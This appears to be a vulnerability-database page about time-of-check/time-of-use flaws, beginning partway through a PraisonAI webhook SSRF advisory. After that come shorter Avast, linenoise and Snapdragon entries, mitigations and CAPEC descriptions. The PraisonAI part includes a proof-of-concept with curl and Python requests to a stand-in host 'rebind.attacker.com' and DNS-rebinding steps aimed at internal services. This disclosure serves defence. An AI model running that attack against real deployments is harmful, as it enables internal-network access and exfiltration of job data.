runtime\n # If DNS changed since validation, it hits the new IP\n try:\n r = await client.post(\"http://rebind.attacker.com/callback\", json={})\n except Exception as e:\n print(f\"Connection: {e}\")\n\nasyncio.run(demo())\n```\n\n**Step 3 \u2014 Full attack scenario:**\n\n```bash\n# 1. Set up domain with short TTL, currently returning NXDOMAIN\n# rebind.attacker.com \u2192 (no record, TTL=60)\n\n# 2. Submit job via API\ncurl -X POST http://praisonai-server:8000/jobs \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"prompt\": \"Calculate 2+2\",\n \"webhook_url\": \"http://rebind.attacker.com/callback\"\n }\u0027\n# Response: {\"job_id\": \"job_abc123\", \"status\": \"queued\", ...}\n\n# 3. After 5 seconds (before job finishes), add DNS record:\n# rebind.attacker.com A 127.0.0.1 TTL=60\n\n# 4. Wait for job to complete (seconds to minutes).\n# _send_webhook() fires and resolves rebind.attacker.com \u2192 127.0.0.1\n# POST request hits 127.0.0.1 (internal service)\n\n# If 127.0.0.1:80 is running a service, it receives:\n# POST /callback HTTP/1.1\n# Content-Type: application/json\n# {\"job_id\": \"job_abc123\", \"status\": \"succeeded\", \"result\": \"4\", ...}\n```\n\n**Immediate variant (no DNS timing required):**\n\nIf DNS resolution fails transiently (rate limit, network blip, temporary outage)\nduring validation, the webhook is accepted unconditionally even for a URL that would\nnormally resolve to a private IP. No attacker control over DNS timing is required \u2014\nthe attacker simply retries submission during moments when their DNS server is unreachable\n(e.g., their DNS server is down, causing `gaierror`).\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding\nand validation fail-open.\n\n**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to\nexternal or lower-trusted callers. This includes:\n\n- **Multi-tenant deployments** where workspace members submit jobs\n- **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields\n\n**Post-exploit capabilities:**\n- HTTP POST to any internal service with JSON payload (job result data)\n- If an internal service interprets the POST body as commands (Jenkins webhook,\n Consul KV, etc.), this achieves code execution on internal infrastructure\n- Exfiltration of job results (which may include agent reasoning, data retrieved\n during the task, discovered credentials) to an attacker-controlled endpoint\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\n**Fix 1 \u2014 Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**\n\n```python\n# VULNERABLE\nexcept socket.gaierror:\n pass\n\n# FIXED\nexcept socket.gaierror:\n raise ValueError(\n \"Webhook URL hostname could not be resolved. \"\n \"Ensure the hostname is valid and publicly reachable.\"\n )\n```\n\n**Fix 2 \u2014 Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**\n\n```python\nasync def _send_webhook(self, job: Job):\n if not job.webhook_url:\n return\n # Re-validate to prevent DNS rebinding\n try:\n from urllib.parse import urlparse\n import socket, ipaddress\n hostname = urlparse(job.webhook_url).hostname\n ip = socket.gethostbyname(hostname)\n if ipaddress.ip_address(ip).is_private:\n logger.warning(f\"Webhook SSRF blocked at execution time: {job.webhook_url}\")\n return\n except Exception as e:\n logger.warning(f\"Webhook validation failed at execution: {e}\")\n return\n # ... proceed with httpx.post\n```",
"id": "GHSA-rg5q-pp8p-f7jm",
"modified": "2026-08-25T14:59:44Z",
"published": "2026-08-25T14:59:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg5q-pp8p-f7jm"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` \u2014 bypass of CVE-2026-40114"
}
GHSA-RH45-X729-X2QP
Vulnerability from github – Published: 2023-04-19 21:30 – Updated: 2024-04-04 03:35Avast and AVG Antivirus for Windows were susceptible to a Time-of-check/Time-of-use (TOCTOU) vulnerability in the Quarantine process, leading to arbitrary file/directory deletion. The issue was fixed with Avast and AVG Antivirus version 22.11 and virus definitions from 14 February 2023 or later.
{
"affected": [],
"aliases": [
"CVE-2023-1585"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-19T19:15:06Z",
"severity": "MODERATE"
},
"details": "Avast and AVG Antivirus for Windows were susceptible to a Time-of-check/Time-of-use (TOCTOU) vulnerability in the Quarantine process, leading to arbitrary file/directory deletion. The issue was fixed with Avast and AVG Antivirus version 22.11 and virus definitions from 14 February 2023 or later. ",
"id": "GHSA-rh45-x729-x2qp",
"modified": "2024-04-04T03:35:19Z",
"published": "2023-04-19T21:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1585"
},
{
"type": "WEB",
"url": "https://support.norton.com/sp/static/external/tools/security-advisories.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RJ4F-7F4C-6QH7
Vulnerability from github – Published: 2025-12-08 15:30 – Updated: 2026-04-22 18:31TOCTOU in linenoiseHistorySave in linenoise allows local attackers to overwrite arbitrary files and change permissions via a symlink race between fopen("w") on the history path and subsequent chmod() on the same path.
{
"affected": [],
"aliases": [
"CVE-2025-9810"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-01T19:15:32Z",
"severity": "MODERATE"
},
"details": "TOCTOU \u00a0in linenoiseHistorySave\u00a0in linenoise\u00a0allows local attackers to overwrite arbitrary files and change permissions via a symlink race between fopen(\"w\")\u00a0on the history path and subsequent chmod()\u00a0on the same path.",
"id": "GHSA-rj4f-7f4c-6qh7",
"modified": "2026-04-22T18:31:36Z",
"published": "2025-12-08T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9810"
},
{
"type": "WEB",
"url": "https://github.com/antirez/linenoise/pull/202"
},
{
"type": "WEB",
"url": "https://github.com/antirez/linenoise/commit/f2558e1e588b1ba384ec73a2cf5c9a46409753db"
},
{
"type": "WEB",
"url": "https://github.com/antirez/linenoise/blob/4111f1d6cd29e136b4e86a25d1dd859a1e00813b/linenoise.c#L1321"
},
{
"type": "WEB",
"url": "https://github.com/antirez/linenoise/blob/master/linenoise.c#L1321"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RJ5V-43F2-C55M
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04Time-of-check time-of-use race condition While processing partition entries due to newly created buffer was read again from mmc without validation in Snapdragon Auto, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables
{
"affected": [],
"aliases": [
"CVE-2020-11233"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-09T05:15:00Z",
"severity": "HIGH"
},
"details": "Time-of-check time-of-use race condition While processing partition entries due to newly created buffer was read again from mmc without validation in Snapdragon Auto, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice \u0026 Music, Snapdragon Wearables",
"id": "GHSA-rj5v-43f2-c55m",
"modified": "2022-05-24T19:04:44Z",
"published": "2022-05-24T19:04:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11233"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/january-2021-bulletin"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.